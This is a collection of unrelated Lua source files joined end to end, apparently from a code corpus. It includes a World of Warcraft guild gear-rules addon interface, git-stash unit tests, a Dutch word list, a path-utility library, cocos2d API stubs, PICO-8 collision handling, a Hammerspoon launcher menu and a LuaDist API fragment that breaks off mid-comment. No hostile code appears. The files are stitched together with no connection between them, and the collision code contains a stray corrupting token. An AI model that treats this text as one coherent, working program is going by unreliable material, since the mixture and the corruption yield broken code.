"[" .. cheater.GUID .. "]" .. self:ClassColored(cheater.Name, CLASSES_FILE[cheater.ClassID]) .. " (" .. hasCheatedCount .. ")" .. ending); end end table.sort(array); self.SortedCheaterGUIDS = { }; self.SortedCheaterIDs = { }; local cheaterList = { }; local count = 1; for i, text in ipairs(array) do local guid = string.match(text, "%[(.*)%]"); local text = string.match(text, "%](.*)"); cheaterList[count] = text; self.SortedCheaterGUIDS[count] = guid; self.SortedCheaterIDs[guid] = count; count = count + 1; end return cheaterList; end function GuildGearRulesUserInterface:ViewCheaterData(guid) for key, data in pairs(self.ViewedCheater.Data) do if (data.Capturer.GUID == guid) then self.ViewedCharacterData = data; end end end function GuildGearRulesUserInterface:GetCheaterDataList() local dataList = { }; if (self.ViewedCheater == nil) then return dataList; end for key, data in pairs(self.ViewedCheater.Data) do if (data.HasCheated) then local ending = " " .. Color(C.GREEN, L["CHEATER_STATUS_CLEARED"]); if (data:IsCheating()) then ending = " " .. Color(C.RED, L["CHEATER_STATUS_CHEATING"]); end dataList[data.Capturer.GUID] = self:ClassColored(data.Capturer.Name, CLASSES_FILE[data.Capturer.ClassID]) .. ending; end end return dataList; end function GuildGearRulesUserInterface:GetCheaterHeader() if (self.ViewedCheater == nil) then return L["CHEATER_NIL_SELECTED"]; end return self.ViewedCheater.Name .. " " .. self.ViewedCheater.Level .. " " .. " " .. CLASSES_NAME[self.ViewedCheater.ClassID]; end function GuildGearRulesUserInterface:GetCheaterBannedItems(equipped) if (self.ViewedCharacterData == nil) then return ""; end local text = L["CHEATER_ITEMS_EQUIPPED_CURRENTLY"] .. "\n"; if (not equipped) then text = L["CHEATER_ITEMS_EQUIPPED_PREVIOUSLY"] .. "\n"; end for key, item in pairs(self.ViewedCharacterData.Items) do if (equipped == item.Equipped) then if (item == nil or item.SlotID == nil or item.Link == nil or item.Time == nil) then self.Core:Log("Cannot display banned item, value missing.", DEBUG_MSG_TYPE.ERROR) else text = text .. "|cffffd100" .. INVENTORY_SLOT[tonumber(item.SlotID)] .. "|r: " .. _cstr(L["CHEATER_INFORMATION_ITEM_SEEN"], item.Link, item.Time) .. "\n"; end end end return text; end function GuildGearRulesUserInterface:GetCheaterBannedBuffs(active) if (self.ViewedCharacterData == nil) then return ""; end local text = L["CHEATER_BUFFS_ACTIVE_CURRENTLY"] .. "\n"; if (not active) then text = L["CHEATER_BUFFS_ACTIVE_PREVIOUSLY"] .. "\n"; end for key, buff in pairs(self.ViewedCharacterData.Buffs) do if (active == buff.Active) then if (buff == nil or buff.SpellID == nil or buff.Time == nil) then self.Core:Log("Cannot display banned buff, value missing.", DEBUG_MSG_TYPE.ERROR) else text = text .. _cstr(L["CHEATER_INFORMATION_ITEM_SEEN"], self:Buff(buff.SpellID), buff.Time) .. "\n"; end end end return text; end function GuildGearRulesUserInterface:Show(ignoreToggle) ignoreToggle = ignoreToggle or false; local dialog = LibStub("AceConfigDialog-3.0"); if (dialog.OpenFrames["GuildGearRules"] and not ignoreToggle) then dialog:Close("GuildGearRules") else PlaySound(882); dialog:Open("GuildGearRules") end end function GuildGearRulesUserInterface:ShowTab(tab) self:Show(true) if (tab ~= nil) then LibStub("AceConfigDialog-3.0"):SelectGroup("GuildGearRules", tab); end end function GuildGearRulesUserInterface:AlertTest() itemName, itemLink = GetItemInfo(self.Core.Constants.AlertTestItemID); self.Core.Inspector:Alert("Cheaterboy", 4, itemLink); end function GuildGearRulesUserInterface:GetItemsAllowed() if (#self.Core.Rules.Items.AllowedIDs == 0) then return "-"; end local text = ""; for i = 1, #self.Core.Rules.Items.AllowedIDs do text = text .. self:DeadItemLink(self.Core.Rules.Items.AllowedIDs[i]) .. " "; end return text; end function GuildGearRulesUserInterface:GetRulesLevel(level) if (level == 0) then return L["RULES_LIMITATIONS_LEVEL_ALL"] else return _cstr(L["RULES_LIMITATIONS_LEVEL"], level) end end function GuildGearRulesUserInterface:GetExcludedRanks(ranks) local text = ""; for i = 1, GuildControlGetNumRanks() do local name = GuildControlGetRankName(i); if (name ~= nil) then local color = C.GREEN; if (ranks:Contains(i)) then color = C.ORANGE; end text = text .. "#" .. i .. " " .. Color(color, "[" .. name .. "]") .. "\n"; end end -- No attributes enabled. if (text == "") then text = "-"; end return text; end function GuildGearRulesUserInterface:GetBannedAttributes() local text = ""; for i = 1, #self.Core.Rules.Items.BannedAttributes do local attribute = self.Core.Rules.Items.BannedAttributes[i]; if (attribute.Name ~= nil) then text = text .. self:Attribute(attribute) .. " "; end end -- No attributes enabled. if (text == "") then text = "-"; end return text; end function GuildGearRulesUserInterface:FormattedBoolean(bool) if (bool) then return L["YES"]; else return L["NO"] ; end end function GuildGearRulesUserInterface:GetRulesApply() local text = Color(C.RULE, L["RULES_APPLY_IN_WORLD"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.World); text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_DUNGEONS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Dungeons); text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_RAIDS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Raids); text = text .. "\n" .. Color(C.RULE, L["RULES_APPLY_IN_BATTLEGROUNDS"]) .. ": " .. self:FormattedBoolean(self.Core.Rules.Apply.Battlegrounds); return text; end function GuildGearRulesUserInterface:GetBannedBuffs() local text = ""; for i = 1, #self.Core.Rules.BannedBuffGroups do local buffGroup = self.Core.Rules.BannedBuffGroups[i]; if (buffGroup.MinimumLevel == nil) then text = text .. Color(C.RULE, L["RULES_BANNED_BUFFS"]) .. "\n"; else text = text .. Color(C.RULE, _cstr(L["RULES_BANNED_BUFFS_LEVEL"], buffGroup.MinimumLevel) .. "\n"); end for j = 1, #buffGroup.IDs do text = text .. self:Buff(buffGroup.IDs[j]) .. "\n"; end text = text .. "\n"; end -- No attributes enabled. if (text == "") then text = "-"; end return text; end function GuildGearRulesUserInterface:GetLogs() local logs = ""; if (#self.Core.LogLines == 0) then return logs; end for i = #self.Core.LogLines, 1, -1 do local ending = ""; if (self.Core.LogLines[i].Times > 1) then ending = " |cffc41f3b(#" .. self.Core.LogLines[i].Times .. ")|r"; end logs = logs .. self.Core.LogLines[i].Text .. ending .. "\n"; end return logs; end function GuildGearRulesUserInterface:Refresh() LibStub("AceConfigRegistry-3.0"):NotifyChange("GuildGearRules"); end function GuildGearRulesUserInterface:ClassColoredName(name, unitID) classFileName, classId = UnitClassBase(unitID); return self:ClassColored(name, classFileName); end function GuildGearRulesUserInterface:ClassColored(text, classFileName) rPerc, gPerc, bPerc, argbHex = GetClassColor(classFileName); text = text or "(Missing text)"; local color = "|c" .. argbHex; return color .. text .. "|r"; end function GuildGearRulesUserInterface:ClassIDColored(text, classID) local r, g, b, hex = GetClassColor(CLASSES_FILE[classID]); return "|c" .. hex .. text .. "|r"; end function GuildGearRulesUserInterface:ClassNameID(className) for i = 1, #CLASSES_NAME do if (CLASSES_NAME[i] == className) then return i; end end return nil; end function GuildGearRulesUserInterface:Buff(spellID) local name = GetSpellInfo(spellID); return "|cffffd100[" .. name .. "]|r"; end function GuildGearRulesUserInterface:Attribute(attribute) if (attribute == nil or attribute.Name == nil) then return "Missing text"; end return Color(C.ATTRIBUTE, "[" .. attribute.Name .. "]"); end function GuildGearRulesUserInterface:GetItemQualityText(val) if (val == nil) then return "-"; end return ITEM_QUALITY_COLORS[val].hex .._G["ITEM_QUALITY" .. val .. "_DESC"] .. "|r"; end function GuildGearRulesUserInterface:DeadItemLink(itemID) local quality = C_Item.GetItemQualityByID(itemID); -- Quality might not be returned if item aint cached. if (quality == nil or quality == -1) then return "|cff889d9d[" .. itemID .. "]|r"; end return ITEM_QUALITY_COLORS[quality].hex .. "[" .. C_Item.GetItemNameByID(itemID) .. "]" .. "|r"; end function GuildGearRulesUserInterface:HyperlinkInfo(hyperlink) local _, _, Color, Ltype, Id, Enchant, Gem1, Gem2, Gem3, Gem4, Suffix, Unique, LinkLvl, Name = string.find(hyperlink, "|?c?f?f?(%x*)|?H?([^:]*):?(%d+):?(%d*):?(%d*):?(%d*):?(%d*):?(%d*):?(%-?%d*):?(%-?%d*):?(%d*):?(%d*):?(%-?%d*)|?h?%[?([^%[%]]*)%]?|?h?|?r?"); return Color, Ltype, tonumber(Id), Enchant, Gem1, Gem2, Gem3, Gem4, Suffix, Unique, LinkLvl, Name; end
--[=[ MIT License Copyright (c) 2016 Johannes Westhuis, Alexander Schulz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ]=]-- --stash local luagi = require( "luagi" ) local test_helper = require( "test_helper" ) local stasher = { name = "A. Name", email = "has@mail.com" } describe( "stash #stash", function() local repo = nil local oid = nil local err = nil setup( function() test_helper.setup() --create change local file = io.open( test_helper.path.."/testfile", "w" ) file:write( "more, more, more") file:close() repo, err = luagi.open( test_helper.path ) if err then return end oid, err = repo:stash( stasher ) end) it( "should not have an error", function() assert.is.falsy( err ) end) it( "has an oid", function() assert.is.not_nil( oid ) end) end) describe( "stash_for_each #stash", function() local repo = nil local oid = nil local err = nil local message = "the_message" setup( function() test_helper.setup() --create change local file = io.open( test_helper.path.."/testfile", "w" ) file:write( "more, more, more") file:close() repo, err = luagi.open( test_helper.path ) if err then return end oid, err = repo:stash( stasher, message ) end) it( "should have 1 stashed element", function() local i = 0 local lid = nil local lmsg = nil local loid = nil repo:stash_for_each( function( id, msg, stash_oid ) i = i + 1 lid = id lmsg = msg loid = stash_oid return 0 end) assert.is.not_nil( lmsg ) assert.are.equal( oid, loid ) assert.are.equal( 1, i ) end) end) describe( "stash_drop #stash", function() local repo = nil local oid = nil local err = nil local message = "the_message" setup( function() test_helper.setup() --create change local file = io.open( test_helper.path.."/testfile", "w" ) file:write( "more, more, more") file:close() repo, err = luagi.open( test_helper.path ) if err then return end oid, err = repo:stash( stasher, message ) repo:stash_drop( 0 ) end) it( "should have no elements", function() local i = 0 repo:stash_for_each( function( id, msg, stash_oid ) i = i + 1 end) assert.are.equal( 0, i ) end) end)
return {'requiem','requiemmis','requisitoir','requiemmissen','requiems','requisitoiren','requisitoirs'}
--[[ Copyright (C) 2013 simplex This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. ]]-- local Pred = wickerrequire 'lib.predicates' local DIR_SEP_CHARS = "/\\" if not DIR_SEP_CHARS:find(package.config:sub(1,1), 1, true) then DIR_SEP_CHARS = DIR_SEP_CHARS .. package.config:sub(1,1) end local MODULE_SEP_CHARS = DIR_SEP_CHARS .. "." local CANONICAL_DIR_SEP = "/" local CANONICAL_MODULE_SEP = "." --[[ -- Maps a category ("Module", "File") to its parameters. --]] local conventions = { [""] = { suffixes = {"Path"}, separators = DIR_SEP_CHARS, canonical_separator = CANONICAL_DIR_SEP, native_separator = package.config:sub(1,1), }, Module = { suffixes = {"", "Path", "Name"}, separators = MODULE_SEP_CHARS, canonical_separator = CANONICAL_MODULE_SEP, }, } --[[ -- Maps a prefix of a function to its generator. --]] local GetGenerator, AddGenerator, GeneratorIterator = (function() local generators = {} local cache = {} local function Get(prefix, suffix) prefix = prefix or "" suffix = suffix or "" return generators[prefix] and generators[prefix][suffix] end local function Add(prefix, suffix, generator) prefix = prefix or "" suffix = suffix or "" generators[prefix] = generators[prefix] or {} generators[prefix][suffix] = function(convention) cache[prefix] = cache[prefix] or {} cache[prefix][suffix] = cache[prefix][suffix] or {} if not cache[prefix][suffix][convention] then cache[prefix][suffix][convention] = generator(convention) end return cache[prefix][suffix][convention] end end local function Iterator() local prefix, suffix prefix = next(generators) if prefix == nil then return function() end end return function() suffix = next(generators[prefix], suffix) while suffix == nil do prefix = next(generators, prefix) if prefix == nil then return nil end suffix = next(generators[prefix]) end return prefix, suffix, generators[prefix][suffix] end end return Get, Add, Iterator end)() --[[ -- Returns the path components as an array. -- If the path starts with a directory separator, the first component will -- be the empty string. -- Ignores trailing and repeated slashes. --]] AddGenerator("Split", "", function(convention) local separators = convention.separators assert( type(separators) == "string" ) return function(path) assert( Pred.IsStringable(path), "The path should be a string." ) path = tostring(path) local pieces = {} local npieces = 0 for m in path:gmatch("[^" .. separators .. "]*") do if m ~= "" or npieces == 0 then table.insert(pieces, m) npieces = npieces + 1 end end return pieces end end) local function NewSepReplacer(splitter, sep) return function(path) return table.concat(splitter(path), sep) end end AddGenerator("Normalize", "", function(convention) local splitter, sep = GetGenerator("Split")(convention), convention.canonical_separator return NewSepReplacer(splitter, sep) end) AddGenerator("Native", "", function(convention) local splitter, sep = GetGenerator("Split")(convention), convention.native_separator if sep then return NewSepReplacer(splitter, sep) end end) -- -- seps is the collection of separators, as a string. -- -- pieces is the output of a path splitter. -- -- Doesn't account for the full path being the Unix root ("/"). local function NewPathVariantsGenerator(seps) local function inner_generate_variant(pieces, n, processed_pieces, i) if i > n then coroutine.yield( table.concat(processed_pieces) ) return end assert( #processed_pieces == 2*i - 3 ) processed_pieces[2*i - 1] = pieces[i] for j = 1, #seps do processed_pieces[2*i - 2] = seps:sub(j,j) inner_generate_variant(pieces, n, processed_pieces, i + 1) end processed_pieces[2*i - 2], processed_pieces[2*i - 1] = nil, nil end return function(pieces) assert( #pieces >= 1 ) return inner_generate_variant(pieces, #pieces, {pieces[1]}, 2) end end AddGenerator("", "Variants", function(convention) local splitter, seps = GetGenerator("Split")(convention), convention.separators local pathvariants_generator = NewPathVariantsGenerator(seps) -- Returns an iterator triple. return function(path) local pieces = splitter(path) local co = coroutine.create(function() return pathvariants_generator(pieces) end) return function(co) local status, ret = coroutine.resume(co) if status then return ret else return error(ret) end end, co end end) for convention_name, convention in pairs(conventions) do for prefix, suffix, generator in GeneratorIterator() do for _, convention_suffix in ipairs(convention.suffixes) do _M[prefix .. convention_name .. convention_suffix .. suffix] = generator(convention) end end end return _M
-------------------------------- -- @module Scale9Sprite -- @extend Node -------------------------------- -- @function [parent=#Scale9Sprite] resizableSpriteWithCapInsets -- @param self -- @param #rect_table rect -- @return Scale9Sprite#Scale9Sprite ret (return value: cc.Scale9Sprite) -------------------------------- -- @function [parent=#Scale9Sprite] setInsetBottom -- @param self -- @param #float float -------------------------------- -- overload function: initWithSpriteFrameName(string) -- -- overload function: initWithSpriteFrameName(string, rect_table) -- -- @function [parent=#Scale9Sprite] initWithSpriteFrameName -- @param self -- @param #string str -- @param #rect_table rect -- @return bool#bool ret (retunr value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] setInsetTop -- @param self -- @param #float float -------------------------------- -- @function [parent=#Scale9Sprite] init -- @param self -- @return bool#bool ret (return value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] setPreferredSize -- @param self -- @param #size_table size -------------------------------- -- @function [parent=#Scale9Sprite] setSpriteFrame -- @param self -- @param #cc.SpriteFrame spriteframe -------------------------------- -- overload function: initWithBatchNode(cc.SpriteBatchNode, rect_table, rect_table) -- -- overload function: initWithBatchNode(cc.SpriteBatchNode, rect_table, bool, rect_table) -- -- @function [parent=#Scale9Sprite] initWithBatchNode -- @param self -- @param #cc.SpriteBatchNode spritebatchnode -- @param #rect_table rect -- @param #bool bool -- @param #rect_table rect -- @return bool#bool ret (retunr value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] getInsetBottom -- @param self -- @return float#float ret (return value: float) -------------------------------- -- @function [parent=#Scale9Sprite] getCapInsets -- @param self -- @return rect_table#rect_table ret (return value: rect_table) -------------------------------- -- @function [parent=#Scale9Sprite] updateWithBatchNode -- @param self -- @param #cc.SpriteBatchNode spritebatchnode -- @param #rect_table rect -- @param #bool bool -- @param #rect_table rect -- @return bool#bool ret (return value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] getInsetRight -- @param self -- @return float#float ret (return value: float) -------------------------------- -- @function [parent=#Scale9Sprite] getOriginalSize -- @param self -- @return size_table#size_table ret (return value: size_table) -------------------------------- -- overload function: initWithFile(string, rect_table) -- -- overload function: initWithFile(string, rect_table, rect_table) -- -- overload function: initWithFile(rect_table, string) -- -- overload function: initWithFile(string) -- -- @function [parent=#Scale9Sprite] initWithFile -- @param self -- @param #string str -- @param #rect_table rect -- @param #rect_table rect -- @return bool#bool ret (retunr value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] getInsetTop -- @param self -- @return float#float ret (return value: float) -------------------------------- -- @function [parent=#Scale9Sprite] setInsetLeft -- @param self -- @param #float float -------------------------------- -- overload function: initWithSpriteFrame(cc.SpriteFrame) -- -- overload function: initWithSpriteFrame(cc.SpriteFrame, rect_table) -- -- @function [parent=#Scale9Sprite] initWithSpriteFrame -- @param self -- @param #cc.SpriteFrame spriteframe -- @param #rect_table rect -- @return bool#bool ret (retunr value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] getPreferredSize -- @param self -- @return size_table#size_table ret (return value: size_table) -------------------------------- -- @function [parent=#Scale9Sprite] setCapInsets -- @param self -- @param #rect_table rect -------------------------------- -- @function [parent=#Scale9Sprite] getInsetLeft -- @param self -- @return float#float ret (return value: float) -------------------------------- -- @function [parent=#Scale9Sprite] setInsetRight -- @param self -- @param #float float -------------------------------- -- overload function: create(string, rect_table, rect_table) -- -- overload function: create() -- -- overload function: create(rect_table, string) -- -- overload function: create(string, rect_table) -- -- overload function: create(string) -- -- @function [parent=#Scale9Sprite] create -- @param self -- @param #string str -- @param #rect_table rect -- @param #rect_table rect -- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite) -------------------------------- -- overload function: createWithSpriteFrameName(string, rect_table) -- -- overload function: createWithSpriteFrameName(string) -- -- @function [parent=#Scale9Sprite] createWithSpriteFrameName -- @param self -- @param #string str -- @param #rect_table rect -- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite) -------------------------------- -- overload function: createWithSpriteFrame(cc.SpriteFrame, rect_table) -- -- overload function: createWithSpriteFrame(cc.SpriteFrame) -- -- @function [parent=#Scale9Sprite] createWithSpriteFrame -- @param self -- @param #cc.SpriteFrame spriteframe -- @param #rect_table rect -- @return Scale9Sprite#Scale9Sprite ret (retunr value: cc.Scale9Sprite) -------------------------------- -- @function [parent=#Scale9Sprite] isOpacityModifyRGB -- @param self -- @return bool#bool ret (return value: bool) -------------------------------- -- @function [parent=#Scale9Sprite] setColor -- @param self -- @param #color3B_table color3b -------------------------------- -- @function [parent=#Scale9Sprite] setOpacityModifyRGB -- @param self -- @param #bool bool -------------------------------- -- @function [parent=#Scale9Sprite] setOpacity -- @param self -- @param #unsigned char char -------------------------------- -- @function [parent=#Scale9Sprite] updateDisplayedOpacity -- @param self -- @param #unsigned char char -------------------------------- -- @function [parent=#Scale9Sprite] updateDisplayedColor -- @param self -- @param #color3B_table color3b -------------------------------- -- @function [parent=#Scale9Sprite] setContentSize -- @param self -- @param #size_table size -------------------------------- -- @function [parent=#Scale9Sprite] Scale9Sprite -- @param self return nil
local PANEL = {} surface.CreateFont("PVB.WeaponDisplay1", { font = "Trebuchet MS", size = 30, weight = 700 }) function PANEL:Paint() end vgui.Register("PVBWeapons", PANEL, "DPanel")
--TODO:adjust in context --sprite flag to toggle blocks flag_block=0 --TODO:adjust in context --mechanics --{{sp,x,y,collide?},..} mcns={} --TODO:adjust in context --table of sprite to hitboxes --{sp={{x,y,w,h},..},..} custom_hitboxes={} function sp_hitboxes(sp,x,y) local hbs=custom_hitboxes[sp] if not hbs then return {{x=x,y=y,w=8,h=8}} end local r={} for hb in all(hbs) do add(r,{ x=hb[1]+x, y=hb[2]+y, w=hb[3], h=hb[4], }) end return r end function sp_collisions_iter( sp,x,y,phb,flag ) if not fget(sp,flag) then return function() end end local hbs=sp_hitboxes(sp,x,y) local i=0 return function() while i<#hbs do i+=1 local hb=hbs[i] if intersects(phb,hb) then return hb end end end end function resolve_collisions(p) --p:{x,y,hitbox():{x,y,w,h}} local collisions={} local function add_colliding( sp,x,y, flag,phb, resolve_fn_args ) for mhb in sp_collisions_iter( sp,x,y,phb,flag ) do local res_fn,res_args= resolve_fn_args(mhb) local x=intersect(phb,mhb) insert( collisions, {res_fn,res_args}, x.w+x.h ) end end --check colliding map tiles local phb=p:hitbox() local x1=phb.x local x2=phb.x+phb.w-1 local y1=phb.y local y2=phb.y+phb.h-1 for x in all({x1,x2}) do for y in all({y1,y2}) do local sp=mget(x/8,y/8) local tilex=x\8*8 local tiley=y\8*8 --block when colliding with --tiles that have flag_block add_colliding( sp,tilex,tiley, flag_block, phb, function(mhb) return block,{mhb,mhb,p} end ) end --check colliding mechanics for mcn in all(mcns) do if mcn.collide then --invoke the mechanics' --collide() when flag_block add_colliding( mcn.sp,mcn.x,mcn.y, flag_block, phb, function(mhb) return mcn.collide,{mcn,mhb,p}B7 end ) end end --resolve collisions from the --most to least colliding while #collisions>0 do local r=pop(collisions)[1] local r_fn=r[1] r_fn(unpack(r[2])) end end --blocks p from intersecting cl, --adjusting for specific hitboxes --can be used as mcn.collide --returns block direction function block(cl,clhb,p) local phb=p:hitbox() local x=intersect(phb,clhb) --resolve using shallowest axis local aim=nil if x.w<x.h then aim=phb.x<cl.x and "⬅️" or "➡️" else aim=phb.y<cl.y and "⬆️" or "⬇️" end if aim=="⬅️" then p.dx=min(p.dx,0) p.x+=min(clhb.x-phb.x-phb.w,0) return aim elseif aim=="➡️" then p.dx=max(p.dx,0) p.x+=max(clhb.x+clhb.w-phb.x,0) return aim elseif aim=="⬆️" then p.dy=min(p.dy,0) p.y+=min(clhb.y-phb.y-phb.h,0) return aim elseif aim=="⬇️" then p.dy=max(p.dy,0) p.y+=max(clhb.y+clhb.h-phb.y,0) return aim end end --insert v in t and sort t by p function insert(t,v,p) if #t>=1 then add(t,{}) for i=(#t),2,-1 do local n=t[i-1] if p<n[2] then t[i]={v,p} return else t[i]=n end end t[1]={v,p} else add(t,{v,p}) end end --pop first element of t function pop(t) local top=t[1] for i=1,(#t) do if i==(#t) then del(t,t[i]) else t[i]=t[i+1] end end return top end
-- This example is for an Application launching menu Most of the necessary -- settings for this menu are already the defaults, but it serves as a simple -- example none-the-less. local FLM = require("hs._asm.filelistmenu") -- create the application menu and give it a default label local appMenu = FLM.new("Apps") ; -- The defaults for filelistmenu will create an Application based menu starting from -- the /Applications directory. The commands listed here are included so you can more -- easily see what is actually being setup, but they aren't really necessary for -- this default behavior, so they are commented out. -- Show an icon, if one is provided --appMenu:showForMenu("icon") -- The match criteria here is a string which matches any name which ends in .app. The -- parenthesis are included to indicate the portion of the name to use as the menu items -- label... without the parenthesis, the full name matched would be used. --appMenu:menuCriteria("^([^/]+)%.app$") -- This function indicates what action should occur when a menu item is selected --appMenu:actionFunction(function(x) hs.application.launchOrFocus(x) end) -- This function indicates what action should occur when a subfolder itself is selected --appMenu:folderFunction(function(x) os.execute([[open -a Finder "]]..x..[["]]) end) -- Specify the root directory to start from. appMenu:rootDirectory({ macOS = "/System/Applications", Applications = "/Applications", User = os.getenv("HOME") .. "/Applications", }) -- The maximum folder depth that we will search for files or folders which match the -- criteria. This prevents potential loops, which would ultimately crash HS. appMenu:subFolderDepth(7) -- If false, then warning messages will not be printed to the HS console. -- appMenu:showWarnings(true) -- Define an icon using ASCIIArt. See hs.drawing and -- http://cocoamine.net/blog/2015/03/20/replacing-photoshop-with-nsstring/ appMenu:menuIcon("ASCII:....................\n".. "............1..4....\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "....................\n".. "...B...............A\n".. "8...............9...\n".. "....................\n".. "....................\n".. "....................\n".. "...2...........5....\n".. "....................\n".. "...3..........6.....\n".. "....................") -- Sort folder items before file items in the menu appMenu:subFolders("before") -- activate the menu appMenu:activate() -- This allows you to include this file like 'menu = require(...)' and capture the -- menu object in case you want to manipulate it elsewhere. appMenu:itemImages(true) return appMenu
local function Values1D(Structure) local Result = {} local Index = 1 for _, Value in pairs(Structure) do Result[Index] = Value Index += 1 end return Result end return Values1D
--- LuaDist Primary API functions -- Peter Drahoš, Peter Kapec, LuaDist Project, 2010 --- This file contains the basic functions of LuaDist. -- Feel free to use this exposed API in your projects if you need to deploy something automatically. -- Please note that everything may change in future releases. --- Terminology used: -- _dist_ - General reference to "package" in LuaDist, often synonymous with _info_. -- _info_ - Meta-data describing a _dist_. Collected from dist.info files inside dist archives. -- _manifest_ - A collection of sorted _info_ entries in a table. Sorted alphabetically by name and by version descending. -- _name_ - Refers to a string containing dist name and version constraints. Eg. "lua-5.1.4" or "luajit>=2" -- _deployment_ - A directory containing dists installed using LuaDist. module ("dist", package.seeall) -- Include Submodules local man = require "dist.manifest" local pkg = require "dist.package" local per = require "dist.persist" local cfg = require "dist.config" local sys = require "dist.sys" local dep = require "dist.dep" local log = require "dist.log" --- Get contents of repository or a list of repositories. -- _getManifest_ is used to fetch or generate collections of dist.info entries from -- URIs, system paths and on-line repositories. Returned dist manifests are not -- filtered and may not be appropriate for installation, see _filterManifest_ for this -- purpose. -- -- Dist information is gathered by collecting dist.info entries from dist.manifest -- file in case an URL to on-line repository is given. System paths are searched -- for dist.info files on demand and do extracted dists can be used for local -- repositories, this is handy for bootstrap and development of multiple -- interconnected dists. Zip archives and dists are peeked into on demand and in -- case it contains dist.info entry its added to the manifest. -- -- In case of multiple repositories, first repository always has priority. Dists are -- ordered by repository, name and version. Every item is checked, malformed entries -- are removed. -- -- @param repositories string or table: Path or URL of a repository or repositories. By default cfg.repo is used if argument is not defined. -- @return manifest: Table containing collections of available dists. function getManifest(repositories) -- If no repository is provided use default ones from configuration. repositories = repositories or cfg.repo -- Make sure the argument is always a table. if type(repositories) == "string" then repositories = { repositories } end -- Check if we can continue. assert(type(repositories) == "table", "dist.getManifest: Argument 'repositories' is not a table or string.") local manifest = {} -- Collect all dists.info entries from each repo. for i = 1, #repositories do -- Append all dist.infos found. local repo = man.get(repositories[i]) or {} for j = 1, #repo do table.insert(manifest, repo[j]) end end return manifest end --- Get all installed dists from deployment directory. -- _getInstalled_ will collect all installed dists inside a deployment directory. -- These represent installed dists; provided dists are not included, see _getDeployed_ -- if you need a provided dists too. -- -- @param deployment string: Path to deployment directory. If not specified the deployment LuaDist is running in will be used. -- @return manifest: Table containing collections of installed dists. function getInstalled(deployment) -- Set up deployment directory if not set deployment = sys.path(deployment or getDeployment()) assert(type(deployment) == "string", "dist.getInstalled: Argument 'deployment' is not a string.") if not sys.isDir(sys.path(deployment, cfg.dists)) then return {} end -- Collect dists in deployment using getManifest. return getManifest(sys.path(deployment, cfg.dists)) or {} end --- Get all deployed dists in the target dir, this will also list dists provided by other dists. -- _getDeployed_ will collect all deployed dists inside a deployment directory. -- This inludes entries that simulate provided dists which act as dependency satisfaction for dists -- during installation. -- -- Integration with host package managers can be achieved by providing a list of modules already -- installed directly to the host system. The list can be edited directly by the user in configuration. -- -- @param deployment string: Path to deployment directory. If not specified the deployment LuaDist is running in will be used. -- @return manifest: Table containing collections of deployed dists. function getDeployed(deployment) -- Set up deployment directory if not set deployment = sys.path(deployment or getDeployment()) assert(type(deployment) == "string", "dist.getDeployed: Argument 'deployment' is not a string.") -- Get installed dists local list, err = getInstalled(deployment) if not list then return nil, err end -- Helpful dist.info generator from dists and cfg.provided local function getProvidedDists(info) if not info then -- Fake host provides info = { name = "Host", version = "config", provides = cfg.provides, arch = cfg.arch, type = cfg.type } end -- Generate dist.info for the provided dists local manifest = {} for _, provide in pairs(info.provides or {}) do local dist = {} dist.name, dist.version = dep.split(provide) dist.arch = info.arch dist.type = info.type dist.provided = info.name .. "-" .. info.version table.insert(manifest, dist) end return manifest end -- Insert provided entries collected from installed dists local manifest = {} for i = 1, #list do local dist = list[i] table.insert(manifest, dist) local provided = getProvidedDists(dist) for j = 1, #provided do table.insert(manifest, provided[j]) end end -- Include list of provided dists from host (cfg.provided) local provided = getProvidedDists() for j = 1, #provided do table.insert(manifest, provided[j]) end return manifest end --- Filter dist manifests using constraint functions. -- _filterManifest_ is used to remove dists from dist manifests that don't satisfy conditions. -- Conditions are specified using a table of functions. Functions are named after the attribute -- they check and return true if an argument satisfies its condition. -- -- When constraint are not defined a default set of constraints is used. These constraints filter -- out dists not suitable for the architecture LuaDist is running on. More specifically, only dists -- of arch "Universal" or of arch equal to cfg.arch and of type "all" or type equal to cfg.type -- are preserved. Additionally when source dists are enabled in configuration this will include dists -- of type equal to "source". -- -- In case no manifest is specified _filterManifest_ will automatically collect dist manifests from default -- repositories using _getManifest_. -- -- @param list table: Dist list or manifest to filter. By default all dists collected from cfg.repo will be filtered. -- @param constraints table: Table of constraint function. Key determines what dist attribute is checked while the value is the actual constraint test written as a function. By default dists are filtered for correct arch-type. -- @return manifest: Table containing collections of filtered 